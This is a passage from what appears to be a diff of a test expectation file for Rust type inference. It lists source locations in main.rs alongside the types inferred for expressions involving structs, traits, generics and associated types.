| -| main.rs:274:15:274:18 | SelfParam | | main.rs:273:5:282:5 | Self [trait MyTrait] | -| main.rs:276:15:276:18 | SelfParam | | main.rs:273:5:282:5 | Self [trait MyTrait] | -| main.rs:279:9:281:9 | { ... } | | main.rs:273:19:273:19 | A | -| main.rs:280:13:280:16 | self | | main.rs:273:5:282:5 | Self [trait MyTrait] | -| main.rs:280:13:280:21 | self.m1() | | main.rs:273:19:273:19 | A | -| main.rs:285:43:285:43 | x | | main.rs:285:26:285:40 | T2 | -| main.rs:285:56:287:5 | { ... } | | main.rs:285:22:285:23 | T1 | -| main.rs:286:9:286:9 | x | | main.rs:285:26:285:40 | T2 | -| main.rs:286:9:286:14 | x.m1() | | main.rs:285:22:285:23 | T1 | -| main.rs:290:49:290:49 | x | | main.rs:263:5:266:5 | MyThing | -| main.rs:290:49:290:49 | x | T | main.rs:290:32:290:46 | T2 | -| main.rs:290:71:292:5 | { ... } | | main.rs:290:28:290:29 | T1 | -| main.rs:291:9:291:9 | x | | main.rs:263:5:266:5 | MyThing | -| main.rs:291:9:291:9 | x | T | main.rs:290:32:290:46 | T2 | -| main.rs:291:9:291:11 | x.a | | main.rs:290:32:290:46 | T2 | -| main.rs:291:9:291:16 | ... .m1() | | main.rs:290:28:290:29 | T1 | -| main.rs:295:15:295:18 | SelfParam | | main.rs:263:5:266:5 | MyThing | -| main.rs:295:15:295:18 | SelfParam | T | main.rs:294:10:294:10 | T | -| main.rs:295:26:297:9 | { ... } | | main.rs:294:10:294:10 | T | -| main.rs:296:13:296:16 | self | | main.rs:263:5:266:5 | MyThing | -| main.rs:296:13:296:16 | self | T | main.rs:294:10:294:10 | T | -| main.rs:296:13:296:18 | self.a | | main.rs:294:10:294:10 | T | -| main.rs:301:13:301:13 | x | | main.rs:263:5:266:5 | MyThing | -| main.rs:301:13:301:13 | x | T | main.rs:268:5:269:14 | S1 | -| main.rs:301:17:301:33 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | -| main.rs:301:17:301:33 | MyThing {...} | T | main.rs:268:5:269:14 | S1 | -| main.rs:301:30:301:31 | S1 | | main.rs:268:5:269:14 | S1 | -| main.rs:302:13:302:13 | y | | main.rs:263:5:266:5 | MyThing | -| main.rs:302:13:302:13 | y | T | main.rs:270:5:271:14 | S2 | -| main.rs:302:17:302:33 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | -| main.rs:302:17:302:33 | MyThing {...} | T | main.rs:270:5:271:14 | S2 | -| main.rs:302:30:302:31 | S2 | | main.rs:270:5:271:14 | S2 | -| main.rs:304:26:304:26 | x | | main.rs:263:5:266:5 | MyThing | -| main.rs:304:26:304:26 | x | T | main.rs:268:5:269:14 | S1 | -| main.rs:304:26:304:31 | x.m1() | | main.rs:268:5:269:14 | S1 | -| main.rs:305:26:305:26 | y | | main.rs:263:5:266:5 | MyThing | -| main.rs:305:26:305:26 | y | T | main.rs:270:5:271:14 | S2 | -| main.rs:305:26:305:31 | y.m1() | | main.rs:270:5:271:14 | S2 | -| main.rs:307:13:307:13 | x | | main.rs:263:5:266:5 | MyThing | -| main.rs:307:13:307:13 | x | T | main.rs:268:5:269:14 | S1 | -| main.rs:307:17:307:33 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | -| main.rs:307:17:307:33 | MyThing {...} | T | main.rs:268:5:269:14 | S1 | -| main.rs:307:30:307:31 | S1 | | main.rs:268:5:269:14 | S1 | -| main.rs:308:13:308:13 | y | | main.rs:263:5:266:5 | MyThing | -| main.rs:308:13:308:13 | y | T | main.rs:270:5:271:14 | S2 | -| main.rs:308:17:308:33 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | -| main.rs:308:17:308:33 | MyThing {...} | T | main.rs:270:5:271:14 | S2 | -| main.rs:308:30:308:31 | S2 | | main.rs:270:5:271:14 | S2 | -| main.rs:310:26:310:26 | x | | main.rs:263:5:266:5 | MyThing | -| main.rs:310:26:310:26 | x | T | main.rs:268:5:269:14 | S1 | -| main.rs:310:26:310:31 | x.m2() | | main.rs:268:5:269:14 | S1 | -| main.rs:311:26:311:26 | y | | main.rs:263:5:266:5 | MyThing | -| main.rs:311:26:311:26 | y | T | main.rs:270:5:271:14 | S2 | -| main.rs:311:26:311:31 | y.m2() | | main.rs:270:5:271:14 | S2 | -| main.rs:313:13:313:14 | x2 | | main.rs:263:5:266:5 | MyThing | -| main.rs:313:13:313:14 | x2 | T | main.rs:268:5:269:14 | S1 | -| main.rs:313:18:313:34 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | -| main.rs:313:18:313:34 | MyThing {...} | T | main.rs:268:5:269:14 | S1 | -| main.rs:313:31:313:32 | S1 | | main.rs:268:5:269:14 | S1 | -| main.rs:314:13:314:14 | y2 | | main.rs:263:5:266:5 | MyThing | -| main.rs:314:13:314:14 | y2 | T | main.rs:270:5:271:14 | S2 | -| main.rs:314:18:314:34 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | -| main.rs:314:18:314:34 | MyThing {...} | T | main.rs:270:5:271:14 | S2 | -| main.rs:314:31:314:32 | S2 | | main.rs:270:5:271:14 | S2 | -| main.rs:316:26:316:42 | call_trait_m1(...) | | main.rs:268:5:269:14 | S1 | -| main.rs:316:40:316:41 | x2 | | main.rs:263:5:266:5 | MyThing | -| main.rs:316:40:316:41 | x2 | T | main.rs:268:5:269:14 | S1 | -| main.rs:317:26:317:42 | call_trait_m1(...) | | main.rs:270:5:271:14 | S2 | -| main.rs:317:40:317:41 | y2 | | main.rs:263:5:266:5 | MyThing | -| main.rs:317:40:317:41 | y2 | T | main.rs:270:5:271:14 | S2 | -| main.rs:319:13:319:14 | x3 | | main.rs:263:5:266:5 | MyThing | -| main.rs:319:13:319:14 | x3 | T | main.rs:263:5:266:5 | MyThing | -| main.rs:319:13:319:14 | x3 | T.T | main.rs:268:5:269:14 | S1 | -| main.rs:319:18:321:9 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | -| main.rs:319:18:321:9 | MyThing {...} | T | main.rs:263:5:266:5 | MyThing | -| main.rs:319:18:321:9 | MyThing {...} | T.T | main.rs:268:5:269:14 | S1 | -| main.rs:320:16:320:32 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | -| main.rs:320:16:320:32 | MyThing {...} | T | main.rs:268:5:269:14 | S1 | -| main.rs:320:29:320:30 | S1 | | main.rs:268:5:269:14 | S1 | -| main.rs:322:13:322:14 | y3 | | main.rs:263:5:266:5 | MyThing | -| main.rs:322:13:322:14 | y3 | T | main.rs:263:5:266:5 | MyThing | -| main.rs:322:13:322:14 | y3 | T.T | main.rs:270:5:271:14 | S2 | -| main.rs:322:18:324:9 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | -| main.rs:322:18:324:9 | MyThing {...} | T | main.rs:263:5:266:5 | MyThing | -| main.rs:322:18:324:9 | MyThing {...} | T.T | main.rs:270:5:271:14 | S2 | -| main.rs:323:16:323:32 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | -| main.rs:323:16:323:32 | MyThing {...} | T | main.rs:270:5:271:14 | S2 | -| main.rs:323:29:323:30 | S2 | | main.rs:270:5:271:14 | S2 | -| main.rs:326:26:326:48 | call_trait_thing_m1(...) | | main.rs:268:5:269:14 | S1 | -| main.rs:326:46:326:47 | x3 | | main.rs:263:5:266:5 | MyThing | -| main.rs:326:46:326:47 | x3 | T | main.rs:263:5:266:5 | MyThing | -| main.rs:326:46:326:47 | x3 | T.T | main.rs:268:5:269:14 | S1 | -| main.rs:327:26:327:48 | call_trait_thing_m1(...) | | main.rs:270:5:271:14 | S2 | -| main.rs:327:46:327:47 | y3 | | main.rs:263:5:266:5 | MyThing | -| main.rs:327:46:327:47 | y3 | T | main.rs:263:5:266:5 | MyThing | -| main.rs:327:46:327:47 | y3 | T.T | main.rs:270:5:271:14 | S2 | -| main.rs:338:19:338:22 | SelfParam | | main.rs:332:5:335:5 | Wrapper | -| main.rs:338:19:338:22 | SelfParam | A | main.rs:337:10:337:10 | A | -| main.rs:338:30:340:9 | { ... } | | main.rs:337:10:337:10 | A | -| main.rs:339:13:339:16 | self | | main.rs:332:5:335:5 | Wrapper | -| main.rs:339:13:339:16 | self | A | main.rs:337:10:337:10 | A | -| main.rs:339:13:339:22 | self.field | | main.rs:337:10:337:10 | A | -| main.rs:347:15:347:18 | SelfParam | | main.rs:343:5:357:5 | Self [trait MyTrait] | -| main.rs:349:15:349:18 | SelfParam | | main.rs:343:5:357:5 | Self [trait MyTrait] | -| main.rs:353:9:356:9 | { ... } | | main.rs:344:9:344:28 | AssociatedType | -| main.rs:354:13:354:16 | self | | main.rs:343:5:357:5 | Self [trait MyTrait] | -| main.rs:354:13:354:21 | self.m1() | | main.rs:344:9:344:28 | AssociatedType | -| main.rs:355:13:355:43 | ...::default(...) | | main.rs:344:9:344:28 | AssociatedType | -| main.rs:363:19:363:23 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:363:19:363:23 | SelfParam | &T | main.rs:359:5:369:5 | Self [trait MyTraitAssoc2] | -| main.rs:363:26:363:26 | a | | main.rs:363:16:363:16 | A | -| main.rs:365:22:365:26 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:365:22:365:26 | SelfParam | &T | main.rs:359:5:369:5 | Self [trait MyTraitAssoc2] | -| main.rs:365:29:365:29 | a | | main.rs:365:19:365:19 | A | -| main.rs:365:35:365:35 | b | | main.rs:365:19:365:19 | A | -| main.rs:365:75:368:9 | { ... } | | main.rs:360:9:360:52 | GenericAssociatedType | -| main.rs:366:13:366:16 | self | | file://:0:0:0:0 | & | -| main.rs:366:13:366:16 | self | &T | main.rs:359:5:369:5 | Self [trait MyTraitAssoc2] | -| main.rs:366:13:366:23 | self.put(...) | | main.rs:360:9:360:52 | GenericAssociatedType | -| main.rs:366:22:366:22 | a | | main.rs:365:19:365:19 | A | -| main.rs:367:13:367:16 | self | | file://:0:0:0:0 | & | -| main.rs:367:13:367:16 | self | &T | main.rs:359:5:369:5 | Self [trait MyTraitAssoc2] | -| main.rs:367:13:367:23 | self.put(...) | | main.rs:360:9:360:52 | GenericAssociatedType | -| main.rs:367:22:367:22 | b | | main.rs:365:19:365:19 | A | -| main.rs:376:21:376:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:376:21:376:25 | SelfParam | &T | main.rs:371:5:381:5 | Self [trait TraitMultipleAssoc] | -| main.rs:378:20:378:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:378:20:378:24 | SelfParam | &T | main.rs:371:5:381:5 | Self [trait TraitMultipleAssoc] | -| main.rs:380:20:380:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:380:20:380:24 | SelfParam | &T | main.rs:371:5:381:5 | Self [trait TraitMultipleAssoc] | -| main.rs:396:15:396:18 | SelfParam | | main.rs:383:5:384:13 | S | -| main.rs:396:45:398:9 | { ... } | | main.rs:389:5:390:14 | AT | -| main.rs:397:13:397:14 | AT | | main.rs:389:5:390:14 | AT | -| main.rs:406:19:406:23 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:406:19:406:23 | SelfParam | &T | main.rs:383:5:384:13 | S | -| main.rs:406:26:406:26 | a | | main.rs:406:16:406:16 | A | -| main.rs:406:46:408:9 | { ... } | | main.rs:332:5:335:5 | Wrapper | -| main.rs:406:46:408:9 | { ... } | A | main.rs:406:16:406:16 | A | -| main.rs:407:13:407:32 | Wrapper {...} | | main.rs:332:5:335:5 | Wrapper | -| main.rs:407:13:407:32 | Wrapper {...} | A | main.rs:406:16:406:16 | A | -| main.rs:407:30:407:30 | a | | main.rs:406:16:406:16 | A | -| main.rs:415:15:415:18 | SelfParam | | main.rs:386:5:387:14 | S2 | -| main.rs:415:45:417:9 | { ... } | | main.rs:332:5:335:5 | Wrapper | -| main.rs:415:45:417:9 | { ... } | A | main.rs:386:5:387:14 | S2 | -| main.rs:416:13:416:35 | Wrapper {...} | | main.rs:332:5:335:5 | Wrapper | -| main.rs:416:13:416:35 | Wrapper {...} | A | main.rs:386:5:387:14 | S2 | -| main.rs:416:30:416:33 | self | | main.rs:386:5:387:14 | S2 | -| main.rs:422:30:424:9 | { ... } | | main.rs:332:5:335:5 | Wrapper | -| main.rs:422:30:424:9 | { ... } | A | main.rs:386:5:387:14 | S2 | -| main.rs:423:13:423:33 | Wrapper {...} | | main.rs:332:5:335:5 | Wrapper | -| main.rs:423:13:423:33 | Wrapper {...} | A | main.rs:386:5:387:14 | S2 | -| main.rs:423:30:423:31 | S2 | | main.rs:386:5:387:14 | S2 | -| main.rs:428:22:428:26 | thing | | main.rs:428:10:428:19 | T | -| main.rs:429:9:429:13 | thing | | main.rs:428:10:428:19 | T | -| main.rs:436:21:436:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:436:21:436:25 | SelfParam | &T | main.rs:389:5:390:14 | AT | -| main.rs:436:34:438:9 | { ... } | | main.rs:389:5:390:14 | AT | -| main.rs:437:13:437:14 | AT | | main.rs:389:5:390:14 | AT | -| main.rs:440:20:440:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:440:20:440:24 | SelfParam | &T | main.rs:389:5:390:14 | AT | -| main.rs:440:43:442:9 | { ... } | | main.rs:383:5:384:13 | S | -| main.rs:441:13:441:13 | S | | main.rs:383:5:384:13 | S | -| main.rs:444:20:444:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:444:20:444:24 | SelfParam | &T | main.rs:389:5:390:14 | AT | -| main.rs:444:43:446:9 | { ... } | | main.rs:386:5:387:14 | S2 | -| main.rs:445:13:445:14 | S2 | | main.rs:386:5:387:14 | S2 | -| main.rs:450:13:450:14 | x1 | | main.rs:383:5:384:13 | S | -| main.rs:450:18:450:18 | S | | main.rs:383:5:384:13 | S | -| main.rs:452:26:452:27 | x1 | | main.rs:383:5:384:13 | S | -| main.rs:452:26:452:32 | x1.m1() | | main.rs:389:5:390:14 | AT | -| main.rs:454:13:454:14 | x2 | | main.rs:383:5:384:13 | S | -| main.rs:454:18:454:18 | S | | main.rs:383:5:384:13 | S | -| main.rs:456:13:456:13 | y | | main.rs:389:5:390:14 | AT | -| main.rs:456:17:456:18 | x2 | | main.rs:383:5:384:13 | S | -| main.rs:456:17:456:23 | x2.m2() | | main.rs:389:5:390:14 | AT | -| main.rs:457:26:457:26 | y | | main.rs:389:5:390:14 | AT | -| main.rs:459:13:459:14 | x3 | | main.rs:383:5:384:13 | S | -| main.rs:459:18:459:18 | S | | main.rs:383:5:384:13 | S | -| main.rs:461:26:461:27 | x3 | | main.rs:383:5:384:13 | S | -| main.rs:461:26:461:34 | x3.put(...) | | main.rs:332:5:335:5 | Wrapper | -| main.rs:464:26:464:27 | x3 | | main.rs:383:5:384:13 | S | -| main.rs:466:20:466:20 | S | | main.rs:383:5:384:13 | S | -| main.rs:469:13:469:14 | x5 | | main.rs:386:5:387:14 | S2 | -| main.rs:469:18:469:19 | S2 | | main.rs:386:5:387:14 | S2 | -| main.rs:470:26:470:27 | x5 | | main.rs:386:5:387:14 | S2 | -| main.rs:470:26:470:32 | x5.m1() | | main.rs:332:5:335:5 | Wrapper | -| main.rs:470:26:470:32 | x5.m1() | A | main.rs:386:5:387:14 | S2 | -| main.rs:471:13:471:14 | x6 | | main.rs:386:5:387:14 | S2 | -| main.rs:471:18:471:19 | S2 | | main.rs:386:5:387:14 | S2 | -| main.rs:472:26:472:27 | x6 | | main.rs:386:5:387:14 | S2 | -| main.rs:472:26:472:32 | x6.m2() | | main.rs:332:5:335:5 | Wrapper | -| main.rs:472:26:472:32 | x6.m2() | A | main.rs:386:5:387:14 | S2 | -| main.rs:474:13:474:22 | assoc_zero | | main.rs:389:5:390:14 | AT | -| main.rs:474:26:474:27 | AT | | main.rs:389:5:390:14 | AT | -| main.rs:474:26:474:38 | AT.get_zero() | | main.rs:389:5:390:14 | AT | -| main.rs:475:13:475:21 | assoc_one | | main.rs:383:5:384:13 | S | -| main.rs:475:25:475:26 | AT | | main.rs:389:5:390:14 | AT | -| main.rs:475:25:475:36 | AT.get_one() | | main.rs:383:5:384:13 | S | -| main.rs:476:13:476:21 | assoc_two | | main.rs:386:5:387:14 | S2 | -| main.rs:476:25:476:26 | AT | | main.rs:389:5:390:14 | AT | -| main.rs:476:25:476:36 | AT.get_two() | | main.rs:386:5:387:14 | S2 | -| main.rs:493:15:493:18 | SelfParam | | main.rs:481:5:485:5 | MyEnum | -| main.rs:493:15:493:18 | SelfParam | A | main.rs:492:10:492:10 | T | -| main.rs:493:26:498:9 | { ... } | | main.rs:492:10:492:10 | T | -| main.rs:494:13:497:13 | match self { ... } | | main.rs:492:10:492:10 | T | -| main.rs:494:19:494:22 | self | | main.rs:481:5:485:5 | MyEnum | -| main.rs:494:19:494:22 | self | A | main.rs:492:10:492:10 | T | -| main.rs:495:28:495:28 | a | | main.rs:492:10:492:10 | T | -| main.rs:495:34:495:34 | a | | main.rs:492:10:492:10 | T | -| main.rs:496:30:496:30 | a | | main.rs:492:10:492:10 | T | -| main.rs:496:37:496:37 | a | | main.rs:492:10:492:10 | T | -| main.rs:502:13:502:13 | x | | main.rs:481:5:485:5 | MyEnum | -| main.rs:502:13:502:13 | x | A | main.rs:487:5:488:14 | S1 | -| main.rs:502:17:502:30 | ...::C1(...) | | main.rs:481:5:485:5 | MyEnum | -| main.rs:502:17:502:30 | ...::C1(...) | A | main.rs:487:5:488:14 | S1 | -| main.rs:502:28:502:29 | S1 | | main.rs:487:5:488:14 | S1 | -| main.rs:503:13:503:13 | y | | main.rs:481:5:485:5 | MyEnum | -| main.rs:503:13:503:13 | y | A | main.rs:489:5:490:14 | S2 | -| main.rs:503:17:503:36 | ...::C2 {...} | | main.rs:481:5:485:5 | MyEnum | -| main.rs:503:17:503:36 | ...::C2 {...} | A | main.rs:489:5:490:14 | S2 | -| main.rs:503:33:503:34 | S2 | | main.rs:489:5:490:14 | S2 | -| main.rs:505:26:505:26 | x | | main.rs:481:5:485:5 | MyEnum | -| main.rs:505:26:505:26 | x | A | main.rs:487:5:488:14 | S1 | -| main.rs:505:26:505:31 | x.m1() | | main.rs:487:5:488:14 | S1 | -| main.rs:506:26:506:26 | y | | main.rs:481:5:485:5 | MyEnum | -| main.rs:506:26:506:26 | y | A | main.rs:489:5:490:14 | S2 | -| main.rs:506:26:506:31 | y.m1() | | main.rs:489:5:490:14 | S2 | -| main.rs:528:15:528:18 | SelfParam | | main.rs:526:5:529:5 | Self [trait MyTrait1] | -| main.rs:532:15:532:18 | SelfParam | | main.rs:531:5:542:5 | Self [trait MyTrait2] | -| main.rs:535:9:541:9 | { ... } | | main.rs:531:20:531:22 | Tr2 | -| main.rs:536:13:540:13 | if ... {...} else {...} | | main.rs:531:20:531:22 | Tr2 | -| main.rs:536:26:538:13 | { ... } | | main.rs:531:20:531:22 | Tr2 | -| main.rs:537:17:537:20 | self | | main.rs:531:5:542:5 | Self [trait MyTrait2] | -| main.rs:537:17:537:25 | self.m1() | | main.rs:531:20:531:22 | Tr2 | -| main.rs:538:20:540:13 | { ... } | | main.rs:531:20:531:22 | Tr2 | -| main.rs:539:17:539:30 | ...::m1(...) | | main.rs:531:20:531:22 | Tr2 | -| main.rs:539:26:539:29 | self | | main.rs:531:5:542:5 | Self [trait MyTrait2] | -| main.rs:545:15:545:18 | SelfParam | | main.rs:544:5:555:5 | Self [trait MyTrait3] | -| main.rs:548:9:554:9 | { ... } | | main.rs:544:20:544:22 | Tr3 | -| main.rs:549:13:553:13 | if ... {...} else {...} | | main.rs:544:20:544:22 | Tr3 | -| main.rs:549:26:551:13 | { ... } | | main.rs:544:20:544:22 | Tr3 | -| main.rs:550:17:550:20 | self | | main.rs:544:5:555:5 | Self [trait MyTrait3] | -| main.rs:550:17:550:25 | self.m2() | | main.rs:511:5:514:5 | MyThing | -| main.rs:550:17:550:25 | self.m2() | A | main.rs:544:20:544:22 | Tr3 | -| main.rs:550:17:550:27 | ... .a | | main.rs:544:20:544:22 | Tr3 | -| main.rs:551:20:553:13 | { ... } | | main.rs:544:20:544:22 | Tr3 | -| main.rs:552:17:552:30 | ...::m2(...) | | main.rs:511:5:514:5 | MyThing | -| main.rs:552:17:552:30 | ...::m2(...) | A | main.rs:544:20:544:22 | Tr3 | -| main.rs:552:17:552:32 | ... .a | | main.rs:544:20:544:22 | Tr3 | -| main.rs:552:26:552:29 | self | | main.rs:544:5:555:5 | Self [trait MyTrait3] | -| main.rs:559:15:559:18 | SelfParam | | main.rs:511:5:514:5 | MyThing | -| main.rs:559:15:559:18 | SelfParam | A | main.rs:557:10:557:10 | T | -| main.rs:559:26:561:9 | { ... } | | main.rs:557:10:557:10 | T | -| main.rs:560:13:560:16 | self | | main.rs:511:5:514:5 | MyThing | -| main.rs:560:13:560:16 | self | A | main.rs:557:10:557:10 | T | -| main.rs:560:13:560:18 | self.a | | main.rs:557:10:557:10 | T | -| main.rs:568:15:568:18 | SelfParam | | main.rs:516:5:519:5 | MyThing2 | -| main.rs:568:15:568:18 | SelfParam | A | main.rs:566:10:566:10 | T | -| main.rs:568:35:570:9 | { ... } | | main.rs:511:5:514:5 | MyThing | -| main.rs:568:35:570:9 | { ... } | A | main.rs:566:10:566:10 | T | -| main.rs:569:13:569:33 | MyThing {...} | | main.rs:511:5:514:5 | MyThing | -| main.rs:569:13:569:33 | MyThing {...} | A | main.rs:566:10:566:10 | T | -| main.rs:569:26:569:29 | self | | main.rs:516:5:519:5 | MyThing2 | -| main.rs:569:26:569:29 | self | A | main.rs:566:10:566:10 | T | -| main.rs:569:26:569:31 | self.a | | main.rs:566:10:566:10 | T | -| main.rs:578:13:578:13 | x | | main.rs:511:5:514:5 | MyThing | -| main.rs:578:13:578:13 | x | A | main.rs:521:5:522:14 | S1 | -| main.rs:578:17:578:33 | MyThing {...} | | main.rs:511:5:514:5 | MyThing | -| main.rs:578:17:578:33 | MyThing {...} | A | main.rs:521:5:522:14 | S1 | -| main.rs:578:30:578:31 | S1 | | main.rs:521:5:522:14 | S1 | -| main.rs:579:13:579:13 | y | | main.rs:511:5:514:5 | MyThing | -| main.rs:579:13:579:13 | y | A | main.rs:523:5:524:14 | S2 | -| main.rs:579:17:579:33 | MyThing {...} | | main.rs:511:5:514:5 | MyThing | -| main.rs:579:17:579:33 | MyThing {...} | A | main.rs:523:5:524:14 | S2 | -| main.rs:579:30:579:31 | S2 | | main.rs:523:5:524:14 | S2 | -| main.rs:581:26:581:26 | x | | main.rs:511:5:514:5 | MyThing | -| main.rs:581:26:581:26 | x | A | main.rs:521:5:522:14 | S1 | -| main.rs:581:26:581:31 | x.m1() | | main.rs:521:5:522:14 | S1 | -| main.rs:582:26:582:26 | y | | main.rs:511:5:514:5 | MyThing | -| main.rs:582:26:582:26 | y | A | main.rs:523:5:524:14 | S2 | -| main.rs:582:26:582:31 | y.m1() | | main.rs:523:5:524:14 | S2 | -| main.rs:584:13:584:13 | x | | main.rs:511:5:514:5 | MyThing | -| main.rs:584:13:584:13 | x | A | main.rs:521:5:522:14 | S1 | -| main.rs:584:17:584:33 | MyThing {...} | | main.rs:511:5:514:5 | MyThing | -| main.rs:584:17:584:33 | MyThing {...} | A | main.rs:521:5:522:14 | S1 | -| main.rs:584:30:584:31 | S1 | | main.rs:521:5:522:14 | S1 | -| main.rs:585:13:585:13 | y | | main.rs:511:5:514:5 | MyThing | -| main.rs:585:13:585:13 | y | A | main.rs:523:5:524:14 | S2 | -| main.rs:585:17:585:33 | MyThing {...} | | main.rs:511:5:514:5 | MyThing | -| main.rs:585:17:585:33 | MyThing {...} | A | main.rs:523:5:524:14 | S2 | -| main.rs:585:30:585:31 | S2 | | main.rs:523:5:524:14 | S2 | -| main.rs:587:26:587:26 | x | | main.rs:511:5:514:5 | MyThing | -| main.rs:587:26:587:26 | x | A | main.rs:521:5:522:14 | S1 | -| main.rs:587:26:587:31 | x.m2() | | main.rs:521:5:522:14 | S1 | -| main.rs:588:26:588:26 | y | | main.rs:511:5:514:5 | MyThing | -| main.rs:588:26:588:26 | y | A | main.rs:523:5:524:14 | S2 | -| main.rs:588:26:588:31 | y.m2() | | main.rs:523:5:524:14 | S2 | -| main.rs:590:13:590:13 | x | | main.rs:516:5:519:5 | MyThing2 | -| main.rs:590:13:590:13 | x | A | main.rs:521:5:522:14 | S1 | -| main.rs:590:17:590:34 | MyThing2 {...} | | main.rs:516:5:519:5 | MyThing2 | -| main.rs:590:17:590:34 | MyThing2 {...} | A | main.rs:521:5:522:14 | S1 | -| main.rs:590:31:590:32 | S1 | | main.rs:521:5:522:14 | S1 | -| main.rs:591:13:591:13 | y | | main.rs:516:5:519:5 | MyThing2 | -| main.rs:591:13:591:13 | y | A | main.rs:523:5:524:14 | S2 | -| main.rs:591:17:591:34 | MyThing2 {...} | | main.rs:516:5:519:5 | MyThing2 | -| main.rs:591:17:591:34 | MyThing2 {...} | A | main.rs:523:5:524:14 | S2 | -| main.rs:591:31:591:32 | S2 | | main.rs:523:5:524:14 | S2 | -| main.rs:593:26:593:26 | x | | main.rs:516:5:519:5 | MyThing2 | -| main.rs:593:26:593:26 | x | A | main.rs:521:5:522:14 | S1 | -| main.rs:593:26:593:31 | x.m3() | | main.rs:521:5:522:14 | S1 | -| main.rs:594:26:594:26 | y | | main.rs:516:5:519:5 | MyThing2 | -| main.rs:594:26:594:26 | y | A | main.rs:523:5:524:14 | S2 | -| main.rs:594:26:594:31 | y.m3() | | main.rs:523:5:524:14 | S2 | -| main.rs:612:22:612:22 | x | | file://:0:0:0:0 | & | -| main.rs:612:22:612:22 | x | &T | main.rs:612:11:612:19 | T | -| main.rs:612:35:614:5 | { ... } | | file://:0:0:0:0 | & | -| main.rs:612:35:614:5 | { ... } | &T | main.rs:612:11:612:19 | T | -| main.rs:613:9:613:9 | x | | file://:0:0:0:0 | & | -| main.rs:613:9:613:9 | x | &T | main.rs:612:11:612:19 | T | -| main.rs:617:17:617:20 | SelfParam | | main.rs:602:5:603:14 | S1 | -| main.rs:617:29:619:9 | { ... } | | main.rs:605:5:606:14 | S2 | -| main.rs:618:13:618:14 | S2 | | main.rs:605:5:606:14 | S2 | -| main.rs:622:21:622:21 | x | | main.rs:622:13:622:14 | T1 | -| main.rs:625:5:627:5 | { ... } | | main.rs:622:17:622:18 | T2 | -| main.rs:626:9:626:9 | x | | main.rs:622:13:622:14 | T1 | -| main.rs:626:9:626:16 | x.into() | | main.rs:622:17:622:18 | T2 | -| main.rs:630:13:630:13 | x | | main.rs:602:5:603:14 | S1 | -| main.rs:630:17:630:18 | S1 | | main.rs:602:5:603:14 | S1 | -| main.rs:631:26:631:31 | id(...) | | file://:0:0:0:0 | & | -| main.rs:631:26:631:31 | id(...) | &T | main.rs:602:5:603:14 | S1 | -| main.rs:631:29:631:30 | &x | | file://:0:0:0:0 | & | -| main.rs:631:29:631:30 | &x | &T | main.rs:602:5:603:14 | S1 | -| main.rs:631:30:631:30 | x | | main.rs:602:5:603:14 | S1 | -| main.rs:633:13:633:13 | x | | main.rs:602:5:603:14 | S1 | -| main.rs:633:17:633:18 | S1 | | main.rs:602:5:603:14 | S1 | -| main.rs:634:26:634:37 | id::<...>(...) | | file://:0:0:0:0 | & | -| main.rs:634:26:634:37 | id::<...>(...) | &T | main.rs:602:5:603:14 | S1 | -| main.rs:634:35:634:36 | &x | | file://:0:0:0:0 | & | -| main.rs:634:35:634:36 | &x | &T | main.rs:602:5:603:14 | S1 | -| main.rs:634:36:634:36 | x | | main.rs:602:5:603:14 | S1 | -| main.rs:636:13:636:13 | x | | main.rs:602:5:603:14 | S1 | -| main.rs:636:17:636:18 | S1 | | main.rs:602:5:603:14 | S1 | -| main.rs:637:26:637:44 | id::<...>(...) | | file://:0:0:0:0 | & | -| main.rs:637:26:637:44 | id::<...>(...) | &T | main.rs:602:5:603:14 | S1 | -| main.rs:637:42:637:43 | &x | | file://:0:0:0:0 | & | -| main.rs:637:42:637:43 | &x | &T | main.rs:602:5:603:14 | S1 | -| main.rs:637:43:637:43 | x | | main.rs:602:5:603:14 | S1 | -| main.rs:639:13:639:13 | x | | main.rs:602:5:603:14 | S1 | -| main.rs:639:17:639:18 | S1 | | main.rs:602:5:603:14 | S1 | -| main.rs:640:9:640:25 | into::<...>(...) | | main.rs:605:5:606:14 | S2 | -| main.rs:640:24:640:24 | x | | main.rs:602:5:603:14 | S1 | -| main.rs:642:13:642:13 | x | | main.rs:602:5:603:14 | S1 | -| main.rs:642:17:642:18 | S1 | | main.rs:602:5:603:14 | S1 | -| main.rs:643:13:643:13 | y | | main.rs:605:5:606:14 | S2 | -| main.rs:643:21:643:27 | into(...) | | main.rs:605:5:606:14 | S2 | -| main.rs:643:26:643:26 | x | | main.rs:602:5:603:14 | S1 | -| main.rs:657:22:657:25 | SelfParam | | main.rs:648:5:654:5 | PairOption | -| main.rs:657:22:657:25 | SelfParam | Fst | main.rs:656:10:656:12 | Fst | -| main.rs:657:22:657:25 | SelfParam | Snd | main.rs:656:15:656:17 | Snd | -| main.rs:657:35:664:9 | { ... } | | main.rs:656:15:656:17 | Snd | -| main.rs:658:13:663:13 | match self { ... } | | main.rs:656:15:656:17 | Snd | -| main.rs:658:19:658:22 | self | | main.rs:648:5:654:5 | PairOption | -| main.rs:658:19:658:22 | self | Fst | main.rs:656:10:656:12 | Fst | -| main.rs:658:19:658:22 | self | Snd | main.rs:656:15:656:17 | Snd | -| main.rs:659:43:659:82 | MacroExpr | | main.rs:656:15:656:17 | Snd | -| main.rs:660:43:660:81 | MacroExpr | | main.rs:656:15:656:17 | Snd | -| main.rs:661:37:661:39 | snd | | main.rs:656:15:656:17 | Snd | -| main.rs:661:45:661:47 | snd | | main.rs:656:15:656:17 | Snd | -| main.rs:662:41:662:43 | snd | | main.rs:656:15:656:17 | Snd | -| main.rs:662:49:662:51 | snd | | 